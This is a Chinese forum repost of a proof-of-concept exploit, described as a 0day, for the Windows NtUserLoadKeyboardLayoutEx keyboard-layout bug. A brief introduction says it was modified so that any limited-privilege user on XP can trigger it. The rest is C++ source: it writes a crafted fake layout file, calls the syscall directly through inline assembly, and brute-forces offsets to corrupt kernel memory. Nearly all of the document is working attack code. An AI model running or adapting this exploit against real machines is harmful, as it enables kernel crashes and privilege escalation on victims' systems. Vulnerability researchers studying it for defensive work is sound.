目前还是ODay,转自DEBUGMAN
老外今天公布的,改了一下XP的可以支持任意权限用户触发
建立一个名为1123的user权限用户运行可触发~
(不是老外,翰海源的instruder公布的。
XP下没对文件句柄做任何检测,所以 lpLayoutFile 只要是任何一个可以写入的地址都可以。
win7里面还会限定这个句柄只能是windows/system32下的文件。)
// poc.cpp : // #include "stdafx.h" #include <windows.h> #include <stdio.h> #include <ntsecapi.h> #pragma comment(lib,"User32.lib") #define MAGIC_OFFSET 0x6261 #define WIN7 0 #define InitializeUnicodeStr(p,s) { \ (p)->Length= wcslen(s)*2; \ (p)->MaximumLength = wcslen(s)*2+2; \ (p)->Buffer = s; \ } #if WIN7 _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTablelow, IN DWORD offTableHigh, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) { __asm { mov eax,11E3h mov edx, 7ffe0300h call dword ptr [edx] ret 20h } } #else _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) { __asm { mov eax, 000011c6h mov edx, 7ffe0300h call dword ptr [edx] retn 1Ch } } #endif unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00 base=fdbbca98 fdbbca00 02443500 "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"// "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00"; ; UNICODE_STRING uStr; UNICODE_STRING uKerbordname; VOID boom_loadlayout() { KEYBDINPUT kb={0}; INPUT vInput={0}; HANDLE hFile; DWORD dwFuckS0ny; HKL hKbd; WCHAR lpPath[MAX_PATH]={0}; WCHAR lpLayoutFile[MAX_PATH]={L"C:\\DOCUME~1\\1123\\LOCALS~1\\Temp\\lSp0wns.boom111"}; LPVOID lpShellPtr; hFile = CreateFileW(lpLayoutFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error:errorcode:%x\n",GetLastError()); return ; } WriteFile( hFile, fakeDll2, sizeof(fakeDll2)-1, &dwFuckS0ny, NULL); CloseHandle(hFile); hFile = CreateFileW (lpLayoutFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error\n"); return ; } hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) ); printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 /*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) */ CloseHandle(hFile); //printf("\n[+] Done\n"); } int main(int argc, CHAR* argv[]) { LoadLibraryA("user32.dll"); InitializeUnicodeStr(&uStr,L"p3d.dll");//???ú±?D?D?óú3¤?è //fix by instruder InitializeUnicodeStr(&uKerbordname,L"A"); uKerbordname.MaximumLength=0; for (int j=0;j<=2;j++) { for (int i1=0;i1<=0xff;i1++) { for (int i2=0;i2<0xff;i2++) { printf("%x,%x\n",i1,i2); fakeDll2[0x3d]=i1; fakeDll2[0x3e]=i2; fakeDll2[0x3f]=j; boom_loadlayout(); } } } return 0; }//